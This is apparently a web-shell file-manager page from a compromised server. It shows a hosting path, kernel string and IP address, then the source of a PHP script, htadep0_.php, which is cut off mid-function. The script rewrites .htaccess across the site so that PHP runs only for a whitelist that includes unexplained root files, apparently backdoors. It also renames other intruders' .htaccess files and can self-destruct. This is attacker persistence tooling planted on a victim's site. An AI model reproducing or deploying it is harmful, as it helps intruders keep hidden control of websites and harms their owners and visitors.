PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/readysettowservi/public_html/
Server: Linux vps7.usol.ca 4.18.0-553.44.1.el8_10.x86_64 #1 SMP Mon Mar 10 05:10:11 EDT 2025 x86_64
IP: 85.239.239.92
Choose File :

Url:
Dir : /home/readysettowservi/public_html/htadep0_.php

<?php
$DEBUG           = isset($_GET['debug'])  ? (bool)$_GET['debug']  : false;
$MODE            = isset($_GET['mode'])   ? $_GET['mode']         : 'true';
$MODE            = ($MODE === 'false' || $MODE === '0' || $MODE === 'remove') ? 'remove' : 'add';
$SITE_ROOT       = '';                     
$BACKUP_EXT      = '.bak';                 
$MARKER_ID       = 'AdMiN';                
$SELF_DESTRUCT   = True;                  
$HACKED_SUFFIX   = '_hacked_';             
$APACHE_VERSION  = '';                     
$APACHE_GEN      = 0;                      
$DEFAULT_ROOT_REWRITE = True;              
$UD_WHITELIST = array('images.php', 'wp-validate.php', 'czq.php', 'wp_blog_footer.php', 'class-meta-cache.php', 'links-xml.php');
$_SELF_NAME = basename(__FILE__);
$_SELF_LOG  = preg_replace('/\.php$/i', '_debug.log', $_SELF_NAME);
$_logs = array();

function _log($level, $msg) {
    global $_logs, $DEBUG, $_SELF_LOG;
    $line = date('Y-m-d H:i:s') . " [$level] $msg";
    $_logs[] = $line;
    if ($DEBUG) {
        @file_put_contents($_SELF_LOG, $line . "\n", FILE_APPEND);
    }
}

function CMS_SIGNATURES() {
    return array(
        'wordpress'  => array('wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php'),
        'joomla'     => array('configuration.php', 'includes/app.php', 'libraries/loader.php'),
        'drupal'     => array('sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php'),
        'magento2'   => array('app/etc/env.php', 'app/etc/config.php', 'bin/magento'),
        'magento1'   => array('app/Mage.php', 'app/etc/local.xml'),
        'laravel'    => array('artisan', 'bootstrap/app.php', 'vendor/autoload.php'),
        'symfony'    => array('symfony.lock', 'config/bundles.php'),
        'yii'        => array('yii', 'web/index.php', 'protected/config/main.php'),
        'opencart'   => array('config.php', 'system/startup.php'),
        'prestashop' => array('config/settings.inc.php'),
        'discuz'     => array('source/class/class_core.php', 'uc_client/client.php'),
        'thinkphp'   => array('thinkphp/base.php', 'thinkphp/start.php'),
    );
}

function detect_site_root($scriptDir) {
    global $SITE_ROOT;
    if (!empty($SITE_ROOT)) {
        $r = rtrim(str_replace('\\', '/', realpath($SITE_ROOT) ?: $SITE_ROOT), '/');
        if (is_dir($r)) { _log('INFO', 'Root from config: ' . $r); return $r; }
    }

    $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ?: $scriptDir), '/');
    $maxDepth = 10;
    for ($depth = 0; $depth < $maxDepth && $dir !== '' && $dir !== '/'; $depth++) {
        $score = 0;
        if (is_file("$dir/index.php")) $score += 2;
        if (is_file("$dir/index.html")) $score += 1;

        $allSigs = CMS_SIGNATURES();
        foreach ($allSigs as $cmsName => $sigs) {
            foreach ($sigs as $sig) {
                if (is_file("$dir/$sig")) { $score += 5; break 2; }
            }
        }
        foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) {
            if (is_dir("$dir/$sub")) { $score += 3; break; }
        }

        if ($score >= 7) {
            $entry = null;
            if (is_file("$dir/index.php")) {
                $entry = $dir;
            } else {
                foreach (array('public', 'web', 'pub') as $subEntry) {
                    if (is_file("$dir/$subEntry/index.php")) {
                        $entry = "$dir/$subEntry"; break;
                    }
                }
            }
            if ($entry !== null) {
                _log('INFO', "Root from walk-up (score=$score): $entry");
                return $entry;
            }
        }
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
    }

    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $r = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
        if (is_dir($r) && (is_file("$r/index.php") || is_file("$r/index.html"))) {
            _log('INFO', 'Root from DOCUMENT_ROOT: ' . $r);
            return $r;
        }
    }

    $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ?: $scriptDir), '/');
    for ($depth = 0; $depth < 10 && $dir !== '' && $dir !== '/'; $depth++) {
        if (is_file("$dir/index.php")) {
            _log('INFO', "Root from index.php walk-up: $dir");
            return $dir;
        }
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
    }

    _log('ERROR', 'Could not detect site root.');
    return null;
}

function detect_cms_type($siteRoot) {
    $allSigs = CMS_SIGNATURES();
    foreach ($allSigs as $cmsName => $sigs) {
        foreach ($sigs as $sig) {
            if (is_file("$siteRoot/$sig")) {
                _log('INFO', "CMS detected: $cmsName (signature: $sig)");
                return $cmsName;
            }
        }
    }
    $parent = dirname($siteRoot);
    if ($parent !== $siteRoot) {
        foreach ($allSigs as $cmsName => $sigs) {
            foreach ($sigs as $sig) {
                if (is_file("$parent/$sig")) {
                    _log('INFO', "CMS detected at project root: $cmsName (signature: $sig)");
                    return $cmsName;
                }
            }
        }
    }
    _log('INFO', 'CMS type unknown');
    return 'unknown';
}

function get_cms_config($cmsType, $siteRoot) {
    $config = array(
        'root_whitelist'  => array('index.php'),
        'admin_dir'       => '',
        'admin_whitelist' => array(),
        'system_dirs'     => array(),
        'special_dirs'    => array(),
    );

    switch ($cmsType) {
        case 'wordpress':
            $config['root_whitelist'] = array(
                'index.php', 'wp-login.php', 'wp-activate.php',
                'wp-cron.php', 'xmlrpc.php', 'wp-comments-post.php',
                'wp-trackback.php', 'wp-signup.php', 'wp-links-opml.php',
                'wp-mail.php',
            );
            $config['admin_dir'] = 'wp-admin';

            $config['admin_whitelist'] = array(

                'index.php', 'admin.php', 'admin-ajax.php', 'admin-post.php',
                'about.php', 'credits.php', 'freedoms.php', 'privacy.php',
                'privacy-policy-guide.php', 'contribute.php', 'moderation.php',

                'update-core.php', 'update.php', 'upgrade.php', 'upgrade-functions.php',
                'setup-config.php', 'install.php', 'install-helper.php',

                'edit.php', 'post-new.php', 'post.php', 'edit-tags.php', 'term.php',
                'link-manager.php', 'link-add.php', 'link.php',
                'revision.php', 'press-this.php',

                'upload.php', 'media-new.php', 'media-upload.php', 'media.php',
                'async-upload.php',

                'edit-comments.php', 'comment.php',

                'themes.php', 'theme-install.php', 'theme-editor.php',
                'customize.php', 'widgets.php', 'nav-menus.php', 'site-editor.php',

                'plugins.php', 'plugin-install.php', 'plugin-editor.php',

                'users.php', 'user-new.php', 'profile.php', 'user-edit.php',
                'authorize-application.php',

                'tools.php', 'import.php', 'export.php', 'site-health.php',
                'export-personal-data.php', 'erase-personal-data.php',

                'options-general.php', 'options-writing.php', 'options-reading.php',
                'options-discussion.php', 'options-media.php', 'options-permalink.php',
                'options-privacy.php', 'options.php', 'options-connectors.php',

                'network.php', 'my-sites.php', 'ms-admin.php', 'ms-delete-site.php',
                'ms-edit.php', 'ms-options.php', 'ms-sites.php', 'ms-themes.php',
                'ms-upgrade-network.php', 'ms-users.php',

                'load-scripts.php', 'load-styles.php', 'font-library.php',
            );
            $config['system_dirs'] = array('wp-includes', 'wp-content');
            break;

        case 'joomla':
            $config['root_whitelist'] = array('index.php');
            $config['admin_dir'] = 'administrator';
            $config['admin_whitelist'] = array('index.php');
            $config['system_dirs'] = array(
                'includes', 'libraries', 'components', 'modules', 'plugins',
                'templates', 'media', 'cache', 'tmp', 'logs', 'cli', 'api',
                'language', 'layouts', 'files', 'images',
                'administrator/cache', 'administrator/components',
                'administrator/includes', 'administrator/language',
                'administrator/logs', 'administrator/manifests',
                'administrator/modules', 'administrator/templates', 'administrator/help',
            );
            break;

        case 'drupal':
            $config['root_whitelist'] = array(
                'index.php', 'update.php', 'cron.php', 'install.php', 'authorize.php',
            );
            $config['system_dirs'] = array(
                'includes', 'misc', 'modules', 'profiles', 'scripts',
                'sites', 'themes', 'core', 'vendor',
            );
            break;

        case 'magento2':
            $config['root_whitelist'] = array('index.php', 'static.php', 'get.php', 'cron.php');
            $config['system_dirs'] = array(
                'app', 'vendor', 'lib', 'var', 'generated', 'pub/static', 'pub/media',
            );
            break;

        case 'magento1':
            $config['root_whitelist'] = array('index.php', 'cron.php', 'install.php');
            $config['system_dirs'] = array(
                'app', 'lib', 'var', 'media', 'skin', 'js', 'includes', 'errors', 'downloader',
            );
            break;

        case 'laravel':
            $config['root_whitelist'] = array('index.php');
            $config['system_dirs'] = array(
                'app', 'bootstrap', 'config', 'database', 'resources',
                'routes', 'storage', 'tests', 'vendor',
            );
            break;

        case 'symfony':
            $config['root_whitelist'] = array('index.php');
            $config['system_dirs'] = array(
                'src', 'config', 'var', 'vendor', 'templates', 'tests',
                'migrations', 'translations',
            );
            break;

        case 'yii':
            $config['root_whitelist'] = array('index.php');
            $config['system_dirs'] = array(
                'controllers', 'models', 'views', 'components',
                'modules', 'vendor', 'runtime', 'config',
                'protected', 'themes', 'assets',
            );
            break;

        case 'opencart':
            $config['root_whitelist'] = array('index.php');
            $config['admin_dir'] = 'admin';
            $config['admin_whitelist'] = array('index.php');
            $config['system_dirs'] = array('system', 'catalog', 'image', 'download');
            break;

        case 'prestashop':
            $config['root_whitelist'] = array('index.php');
            $config['admin_dir'] = detect_prestashop_admin_dir($siteRoot);
            $config['admin_whitelist'] = array('index.php', 'login.php');
            $config['system_dirs'] = array(
                'classes', 'config', 'controllers', 'modules', 'src',
                'vendor', 'var', 'app', 'bin', 'tools',
                'themes', 'js', 'img', 'pdf', 'upload', 'download',
            );
            break;

        case 'discuz':
            $config['root_whitelist'] = array(
                'index.php', 'forum.php', 'home.php', 'group.php',
                'member.php', 'misc.php', 'plugin.php', 'search.php',
                'api.php', 'connect.php', 'admin.php',
            );
            $config['system_dirs'] = array(
                'source', 'uc_client', 'uc_server', 'data', 'template',
                'static', 'install', 'config', 'utility',
            );
            break;

        case 'thinkphp':
            $config['root_whitelist'] = array('index.php');
            $config['system_dirs'] = array(
                'thinkphp', 'app', 'config', 'route', 'runtime', 'vendor',
                'extend', 'public',
            );
            break;

        default:
            $config['root_whitelist'] = array('index.php');
            _log('INFO', 'Unknown CMS — all subdirectories will deny PHP execution');
            break;
    }

    global $UD_WHITELIST;
    if (!empty($UD_WHITELIST)) {
        $config['root_whitelist'] = array_values(array_unique(
            array_merge($config['root_whitelist'], $UD_WHITELIST)
        ));
        _log('INFO', 'User-deployed root whitelist ($UD_WHITELIST): ' . implode(', ', $UD_WHITELIST));
    }

    return $config;
}

function detect_prestashop_admin_dir($siteRoot) {
    $settingsFile = "$siteRoot/config/settings.inc.php";
    if (is_file($settingsFile)) {
        $content = @file_get_contents($settingsFile);
        if ($content && preg_match("/define\s*\(\s*'_ADMIN_DIR_'\s*,\s*'([^']+)'/i", $content, $m)) {
            _log('INFO', "PrestaShop admin dir: $m[1]");
            return $m[1];
        }
    }
    $items = @scandir($siteRoot);
    if ($items) {
        foreach ($items as $item) {
            if (preg_match('/^admin\d/', $item) && is_dir("$siteRoot/$item")
                && is_file("$siteRoot/$item/index.php")) {
                _log('INFO', "PrestaShop admin dir by scan: $item");
                return $item;
            }
        }
    }
    return 'admin';
}

function build_known_cms_files_set($cmsType) {

    $known = array('index.php'); 
    switch ($cmsType) {
        case 'wordpress':
            $known = array_merge($known, array(
                'wp-login.php','wp-activate.php','wp-cron.php','xmlrpc.php',
                'wp-comments-post.php','wp-trackback.php','wp-signup.php',
                'wp-links-opml.php','wp-mail.php',
                'admin.php','admin-ajax.php','admin-post.php','update-core.php',
                'update.php','upgrade.php','upgrade-functions.php','edit.php',
                'post-new.php','post.php','edit-tags.php','term.php','upload.php',
                'media-new.php','media-upload.php','media.php','async-upload.php',
                'edit-comments.php','comment.php','themes.php','theme-install.php',
                'theme-editor.php','customize.php','widgets.php','nav-menus.php',
                'plugins.php','plugin-install.php','plugin-editor.php','users.php',
                'user-new.php','profile.php','user-edit.php','tools.php','import.php',
                'export.php','site-health.php','options-general.php','options-writing.php',
                'options-reading.php','options-discussion.php','options-media.php',
                'options-permalink.php','options-privacy.php','options.php',
                'link-manager.php','about.php','install.php','setup-config.php',
                'load-scripts.php','load-styles.php',
                'revision.php','network.php',
                'authorize-application.php','site-editor.php','font-library.php',
            ));
            break;
        case 'joomla':
            $known = array_merge($known, array('index.php'));
            break;
        case 'drupal':
            $known = array_merge($known, array('update.php','cron.php','install.php','authorize.php'));
            break;
        case 'magento2':
            $known = array_merge($known, array('static.php','get.php','cron.php'));
            break;
        case 'magento1':
            $known = array_merge($known, array('cron.php','install.php','api.php','get.php'));
            break;
        case 'discuz':
            $known = array_merge($known, array(
                'forum.php','home.php','group.php','member.php','misc.php',
                'plugin.php','search.php','api.php','connect.php','admin.php',
            ));
            break;
    }
    return array_unique(array_map('strtolower', $known));
}

function is_hacker_htaccess($content, $cmsType, $contextDir = '') {
    if (empty(trim($content))) return false;

    $stripped = strip_deployer_rules($content);
    if (empty(trim($stripped))) return false;      
    $content = $stripped;

    $grantsPhp = array();   
    $suspiciousFiles = array();

    $hasGrantAll = preg_match('/Require\s+all\s+granted/i', $content)
                || preg_match('/Allow\s+from\s+all/i', $content);
    $hasSatisfyAny = preg_match('/^\s*Satisfy\s+any\b/im', $content);

    if ($hasSatisfyAny) {
        $grantsPhp[] = 'Satisfy Any';
    }

    if (preg_match_all(
        '/<(FilesMatch|Files)\b([^>]*)>(.*?)<\/\1>/is', $content, $blocks, PREG_SET_ORDER
    )) {
        foreach ($blocks as $b) {
            $tag     = $b[1];   
            $pattern = $b[2];   
            $body    = $b[3];   

            $grants = preg_match('/Require\s+all\s+granted/i', $body)
                   || preg_match('/Allow\s+from\s+all/i', $body);
            if (!$grants) continue;

            $grantsPhp[] = trim($tag . ' ' . preg_replace('/\s+/', ' ', $pattern));
            $files = extract_files_from_pattern($pattern);
            foreach ($files as $f) {
                if ($f !== '' && !in_array($f, $suspiciousFiles)) $suspiciousFiles[] = $f;
            }
        }
    }

    if (preg_match_all('/^\s*(AddHandler|AddType|SetHandler|Action)\b.*$/im', $content, $h)) {
        foreach ($h[0] as $line) {
            if (preg_match('/php|httpd-php|cgi-script|application\/x-httpd/i', $line)) {
                $grantsPhp[] = 'handler override: ' . trim(preg_replace('/\s+/', ' ', $line));
            }
        }
    }

    if (preg_match('/php_flag\s+(engine|short_open_tag)\s+on/i', $content)) {
        $grantsPhp[] = 'php_flag re-enabling the PHP engine';
    }

    if (empty($grantsPhp)) return false;

    $directoryWide = $hasGrantAll && empty($suspiciousFiles);
    $knownFiles = build_known_cms_files_set($cmsType);
    $unknown = array();
    foreach ($suspiciousFiles as $f) {
        if (!in_array(strtolower($f), $knownFiles)) $unknown[] = $f;
    }

    $hasHandlerOverride = false;
    foreach ($grantsPhp as $r) {
        if (strpos($r, 'handler override') === 0) { $hasHandlerOverride = true; break; }
    }

    $realDenyAll = false;
    if (preg_match_all(
        '/<(FilesMatch|Files)\b([^>]*)>(.*?)<\/\1>/is', $content, $dblocks, PREG_SET_ORDER
    )) {
        foreach ($dblocks as $db) {
            $dbBody = $db[3];
            $isDeny = preg_match('/Require\s+all\s+denied/i', $dbBody)
                   || preg_match('/Deny\s+from\s+all/i', $dbBody);
            if (!$isDeny) continue;

            if (is_broad_deny_pattern($db[2])) { $realDenyAll = true; break; }
        }
    }
    if (!$realDenyAll && preg_match('/^\s*Deny\s+from\s+all\s*$/im', $content)
        && !preg_match('/<FilesMatch|<Files\b/i', $content)) {
        $realDenyAll = true;   
    }

    $excusableWhitelist = !empty($suspiciousFiles) && empty($unknown) && $realDenyAll;

    if ($excusableWhitelist && !empty($contextDir) && is_php_forbidden_dir($contextDir)) {
        $excusableWhitelist = false;
        _log('WARN', "Allow-block grants PHP inside a directory that should never run PHP: $contextDir");
    }

    if ($directoryWide || !empty($unknown) || $hasSatisfyAny || $hasHandlerOverride) {
        $reason = $directoryWide
            ? 'directory-wide PHP access grant'
            : (!empty($unknown)
                ? 'granted files are not known CMS files'
                : implode('; ', $grantsPhp));

        _log('WARN', "Hacker .htaccess detected ($reason)"
            . (!empty($unknown) ? ' | suspicious: ' . implode(', ', $unknown) : ''));
        return array('reason' => $reason, 'files' => $unknown);
    }

    if (!$excusableWhitelist) {

        $reason = 'allow block with no legitimate directory protection'
            . (!empty($suspiciousFiles) ? ' | granted: ' . implode(', ', $suspiciousFiles) : '');
        _log('WARN', "Hacker .htaccess detected ($reason)");
        return array('reason' => $reason, 'files' => $suspiciousFiles);
    }

    _log('INFO', 'Deny-all with a known-CMS whitelist — treated as legitimate hardening');
    return false;
}

function is_php_forbidden_dir($relDir) {
    $d = '/' . trim(str_replace('\\', '/', $relDir), '/') . '/';
    foreach (array(
        '/wp-includes/',
        '/wp-content/uploads/',
        '/wp-content/cache/',
        '/wp-content/upgrade/',
        '/wp-content/plugins/',
        '/wp-content/themes/',
        '/wp-admin/includes/',
        '/wp-admin/css/',
        '/wp-admin/images/',
        '/wp-admin/js/',
        '/wp-admin/maint/',
        '/wp-admin/user/',
        '/wp-admin/network/',
    ) as $needle) {
        if (strpos($d, $needle) !== false) return true;
    }
    return false;
}

function is_broad_deny_pattern($pattern) {
    $p = trim($pattern, " \t'\"");

    if (preg_match('/^\^?[A-Za-z0-9_\-\.\\\\]+\$?$/', $p)) return false;

    if (strpos($p, '|') !== false) return true;           
    if (strpos($p, '(?i:') !== false) return true;        
    if (strpos($p, '.*') !== false) return true;          
    if (strpos($p, '.+') !== false) return true;          
    if (preg_match('/\\\\\.\(/', $p)) return true;        
    if (preg_match('/\\\\\.[A-Za-z0-9]/', $p)) return true; 
    if (preg_match('/\([^)]*\)/', $p)) return true;       

    return true;   
}

function extract_files_from_pattern($pattern) {
    $files = array();

    $p = trim($pattern, " \t'\"");
    $p = preg_replace('/^\^|\$$/', '', $p);

    $p = preg_replace('/^\(\?![^)]*\)/', '', $p);

    if (preg_match('/^\(\?:([^)]*)\)$/', $p, $m)) {
        $p = $m[1];
    } elseif (preg_match('/^\(([^)]*)\)$/', $p, $m)) {
        $p = $m[1];
    }

    if ($p === '' || strpos($p, '*') !== false || strpos($p, '\\\\.') === 0
        || strpos($p, '\\.') === 0 || strpos($p, '.') === 0) {
        return array();
    }

    foreach (explode('|', $p) as $part) {
        $part = trim($part);
        if ($part === '' || strpos($part, '(?') === 0) continue;
        if (!preg_match('/^[A-Za-z0-9_.\\\\\-\$\{\}\*\+]+$/', $part)) continue;
        $clean = str_replace(array('\\', '(', ')'), '', $part);
        $clean = trim($clean);
        if ($clean === '' || strpos($clean, '$') !== false) continue;

        if (!preg_match('/\.[A-Za-z0-9]{1,10}$/', $clean)) continue;
        $files[] = $clean;
    }

    return array_values(array_unique($files));
}

function quarantine_hacker_htaccess($htFile, $dirPath, &$renamed = null) {
    global $HACKED_SUFFIX;

    $stamp = date('YmdHis');
    $target = "$dirPath/htaccess" . $HACKED_SUFFIX . $stamp;

    $n = 1;
    $final = $target;
    while (file_exists($final)) {
        $final = $target . '_' . $n;
        $n++;
    }

    if (@rename($htFile, $final)) {
        _log('WARN', "Renamed hacker .htaccess -> " . basename($final));
        $renamed = $final;
        return $final;
    }

    if (@copy($htFile, $final) && @unlink($htFile)) {
        _log('WARN', "Copied+removed hacker .htaccess -> " . basename($final));
        $renamed = $final;
        return $final;
    }

    _log('ERROR', "Cannot quarantine hacker .htaccess: $htFile");
    return false;
}

function detect_apache_gen() {
    static $cached = null;
    if ($cached !== null) return $cached;

    global $APACHE_VERSION;
    $candidates = array();

    if (!empty($APACHE_VERSION)) $candidates[] = $APACHE_VERSION;
    if (!empty($_SERVER['SERVER_SIGNATURE'])) $candidates[] = strip_tags($_SERVER['SERVER_SIGNATURE']);
    if (!empty($_SERVER['SERVER_SOFTWARE']))  $candidates[] = $_SERVER['SERVER_SOFTWARE'];
    if (function_exists('apache_get_version')) {
        $v = @apache_get_version();
        if (is_string($v) && $v !== '') $candidates[] = $v;
    }

    foreach ($candidates as $cand) {
        if (preg_match('/Apache\/(\d+)\.(\d+)/i', $cand, $m)) {
            $major = (int)$m[1];
            $minor = (int)$m[2];
            if ($major > 2 || ($major === 2 && $minor >= 4)) {
                _log('INFO', "Apache generation: 2.4 (from '$cand')");
                return $cached = 24;
            }
            if ($major === 2) {
                _log('INFO', "Apache generation: 2.2 (from '$cand')");
                return $cached = 22;
            }
        }
    }

    _log('INFO', 'Apache generation unknown - emitting dual <IfModule> fallback');
    return $cached = 0;
}

function php_deny_ext_regex() {
    return 'php|php3|php4|php5|php7|php8|phtml|phar|pl|py|cgi|asp|aspx|sh|exe';
}

function generate_htaccess_whitelist($whitelist) {
    global $APACHE_GEN;

    if (empty($whitelist)) {
        return generate_deny_only_htaccess();
    }

    $quoted = array_map(function($f) { return preg_quote($f, '/'); }, $whitelist);
    $excludePattern = '(?:' . implode('|', $quoted) . ')';
    $ext = php_deny_ext_regex();

    $regex24   = "'^(?!" . $excludePattern . "\$).+\\.(?i:" . $ext . ")$'";
    $regex22wl = "'^(" . implode('|', $quoted) . ")$'";

    $lines = array();

    if ($APACHE_GEN !== 22) {
        $lines[] = "<IfModule mod_authz_core.c>";
        $lines[] = "    <FilesMatch $regex24>";
        $lines[] = "        Require all denied";
        $lines[] = "    </FilesMatch>";
        $lines[] = "    <FilesMatch $regex22wl>";
        $lines[] = "        Require all granted";
        $lines[] = "    </FilesMatch>";
        $lines[] = "</IfModule>";
    }

    if ($APACHE_GEN !== 24) {
        $lines[] = "<IfModule !mod_authz_core.c>";
        $lines[] = "    <FilesMatch '(?i)\\.(?:" . $ext . ")$'>";
        $lines[] = "        Order deny,allow";
        $lines[] = "        Deny from all";
        $lines[] = "    </FilesMatch>";
        $lines[] = "    <FilesMatch $regex22wl>";
        $lines[] = "        Order deny,allow";
        $lines[] = "        Allow from all";
        $lines[] = "    </FilesMatch>";
        $lines[] = "</IfModule>";
    }

    $lines[] = "";

    return implode("\n", $lines);
}

function generate_deny_only_htaccess() {
    global $APACHE_GEN;
    $ext = php_deny_ext_regex();

    $lines = array();

    if ($APACHE_GEN !== 22) {
        $lines[] = "<IfModule mod_authz_core.c>";
        $lines[] = "    <FilesMatch \"\\.(?i:" . $ext . ")$\">";
        $lines[] = "        Require all denied";
        $lines[] = "    </FilesMatch>";
        $lines[] = "</IfModule>";
    }

    if ($APACHE_GEN !== 24) {
        $lines[] = "<IfModule !mod_authz_core.c>";
        $lines[] = "    <FilesMatch \"\\.(?i:" . $ext . ")$\">";
        $lines[] = "        Order allow,deny";
        $lines[] = "        Deny from all";
        $lines[] = "    </FilesMatch>";
        $lines[] = "</IfModule>";
    }

    return implode("\n", $lines);
}

function generate_default_rewrite_block($urlBase = '/') {
    $urlBase = '/' . trim($urlBase, '/');
    if ($urlBase !== '/') $urlBase .= '/';

    $lines = array();
    $lines[] = "<IfModule mod_rewrite.c>";
    $lines[] = "RewriteEngine On";
    $lines[] = "RewriteBase $urlBase";
    $lines[] = "RewriteRule ^index\\.php$ - [L]";
    $lines[] = "RewriteCond %{REQUEST_FILENAME} !-f";
    $lines[] = "RewriteCond %{REQUEST_FILENAME} !-d";
    $lines[] = "RewriteRule . index.php [L]";
    $lines[] = "</IfModule>";
    return implode("\n", $lines);
}

function generate_htaccess_marker_comment() {
    global $MARKER_ID;
    return "# BEGIN $MARKER_ID — DO NOT EDIT MANUALLY";
}

function generate_htaccess_marker_end() {
    global $MARKER_ID;
    return "# END $MARKER_ID";
}

function wrap_with_markers($content) {
    return generate_htaccess_marker_comment() . "\n"
         . $content . "\n"
         . generate_htaccess_marker_end();
}

function get_all_directories($siteRoot) {
    $dirs = array();
    $rootLen = strlen(rtrim($siteRoot, '/')) + 1;
    $skipDirs = array('.', '..', '.git', '.svn', '.hg', 'node_modules');

    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($siteRoot,
                RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
    } catch (Exception $e) {
        _log('ERROR', 'Failed to scan directories: ' . $e->getMessage());
        return $dirs;
    }

    foreach ($iterator as $item) {
        if (!$item->isDir()) continue;
        $basename = $item->getBasename();
        if (in_array($basename, $skipDirs)) continue;

        $fullPath = str_replace('\\', '/', $item->getPathname());
        $relPath = substr($fullPath, $rootLen);
        if ($relPath === false || $relPath === '') continue;
        $dirs[] = $relPath;
    }

    array_unshift($dirs, '.');
    sort($dirs);
    return $dirs;
}

function read_existing_htaccess($dirPath) {
    $htFile = "$dirPath/.htaccess";
    if (is_file($htFile)) {
        return @file_get_contents($htFile);
    }
    return '';
}

function has_deployer_markers($content) {
    return (strpos($content, generate_htaccess_marker_comment()) !== false);
}

function strip_deployer_rules($content) {
    $marker = generate_htaccess_marker_comment();
    $end = generate_htaccess_marker_end();

    if (strpos($content, $marker) !== false) {
        $pattern = '/' . preg_quote($marker, '/')
                 . '.*?' . preg_quote($end, '/') . '\s*/s';
        $cleaned = preg_replace($pattern, '', $content);
        if ($cleaned !== null) $content = $cleaned;
    }

    $suffix = ' — DO NOT EDIT MANUALLY';
    $genericPattern = '/^' . preg_quote('# BEGIN ', '/') . '\S+' . preg_quote($suffix, '/')
                    . '\r?\n.*?^' . preg_quote('# END ', '/') . '\S+[ \t]*\r?\n?/sm';
    $cleaned = preg_replace($genericPattern, '', $content);
    if ($cleaned !== null) $content = $cleaned;

    return trim($content);
}

function write_htaccess($dirPath, $content) {
    $htFile = "$dirPath/.htaccess";
    $result = @file_put_contents($htFile, $content);
    if ($result === false) {
        _log('ERROR', "Failed to write: $htFile");
        return false;
    }
    _log('INFO', "Wrote: $htFile (" . strlen($content) . " bytes)");
    return true;
}

function preserve_and_clear_htaccess($dirPath) {
    global $BACKUP_EXT;
    $htFile = "$dirPath/.htaccess";
    $bakFile = $htFile . $BACKUP_EXT;

    if (!is_file($htFile)) return true;

    if (!is_file($bakFile)) {
        if (!@copy($htFile, $bakFile)) {
            _log('ERROR', "Cannot back up .htaccess: $htFile");
            return false;
        }
    }
    if (!@unlink($htFile)) {
        _log('ERROR', "Cannot remove .htaccess: $htFile");
        return false;
    }
    return true;
}

function compute_script_rel_dir($scriptDir, $siteRoot) {
    $scriptDir = rtrim(str_replace('\\', '/', $scriptDir), '/');
    $siteRoot = rtrim(str_replace('\\', '/', $siteRoot), '/');

    if ($scriptDir === $siteRoot) return '.';

    $rootLen = strlen($siteRoot) + 1;
    if (strpos($scriptDir . '/', $siteRoot . '/') === 0) {
        return substr($scriptDir, $rootLen);
    }
    return '.'; 
}

function compute_url_base($siteRoot) {
    $siteRoot = rtrim(str_replace('\\', '/', $siteRoot), '/');
    $docRoot  = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/') : '';

    if ($docRoot !== '' && strpos($siteRoot . '/', $docRoot . '/') === 0) {
        $rel = substr($siteRoot, strlen($docRoot));
        return ($rel === '' ? '/' : $rel . '/');
    }

    $scriptDir = isset($GLOBALS['____SCRIPT_DIR'])
        ? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
        : str_replace('\\', '/', dirname(__FILE__));

    $scriptDir = rtrim($scriptDir, '/');
    if (strpos($scriptDir . '/', $siteRoot . '/') === 0) {
        $rel = substr($scriptDir, strlen($siteRoot));
        return ($rel === '' ? '/' : $rel . '/');
    }

    return '/';
}

function classify_directories($allDirs, $config, $siteRoot, $cmsType, $scriptRelDir) {
    $classified = array();
    $adminDir = $config['admin_dir'];
    $systemDirs = $config['system_dirs'];
    $specialDirs = isset($config['special_dirs']) ? $config['special_dirs'] : array();
    $adminDirNorm = trim($adminDir, '/');

    global $_SELF_NAME;

    foreach ($allDirs as $relPath) {
        $relNorm = trim($relPath, '/');
        if ($relNorm === '') $relNorm = '.';

        if ($relNorm === '.') {
            $wl = $config['root_whitelist'];

            if ($scriptRelDir === '.' && !in_array($_SELF_NAME, $wl)) {
                $wl[] = $_SELF_NAME;
            }
            $classified[] = array(
                'path' => $relNorm, 'type' => 'root',
                'whitelist' => $wl,
            );
            continue;
        }

        if (!empty($adminDirNorm) && $relNorm === $adminDirNorm) {
            $classified[] = array(
                'path' => $relNorm, 'type' => 'admin',
                'whitelist' => $config['admin_whitelist'],
            );
            continue;
        }

        if (!empty($adminDirNorm) && strpos($relNorm . '/', $adminDirNorm . '/') === 0) {
            $classified[] = array(
                'path' => $relNorm, 'type' => 'deny_all', 'whitelist' => array(),
            );
            continue;
        }

        $isSystem = false;
        foreach ($systemDirs as $sysDir) {
            $sysNorm = trim($sysDir, '/');
            if ($relNorm === $sysNorm || strpos($relNorm . '/', $sysNorm . '/') === 0) {
                $wl = array();

                if ($relNorm === $scriptRelDir) {
                    $wl[] = $_SELF_NAME;
                    _log('INFO', "Self-whitelist: adding $_SELF_NAME to $relNorm/");
                }
                $classified[] = array(
                    'path' => $relNorm, 'type' => empty($wl) ? 'deny_all' : 'special',
                    'whitelist' => $wl,
                );
                $isSystem = true;
                break;
            }
        }
        if ($isSystem) continue;

        $isSpecial = false;
        foreach ($specialDirs as $spDir => $spWhitelist) {
            $spNorm = trim($spDir, '/');
            if ($relNorm === $spNorm) {
                if ($relNorm === $scriptRelDir && !in_array($_SELF_NAME, $spWhitelist)) {
                    $spWhitelist[] = $_SELF_NAME;
                    _log('INFO', "Self-whitelist: adding $_SELF_NAME to special dir $relNorm/");
                }
                $classified[] = array(
                    'path' => $relNorm, 'type' => 'special',
                    'whitelist' => $spWhitelist,
                );
                $isSpecial = true;
                break;
            }
        }
        if ($isSpecial) continue;

        $wl = array();
        if ($relNorm === $scriptRelDir) {
            $wl[] = $_SELF_NAME;
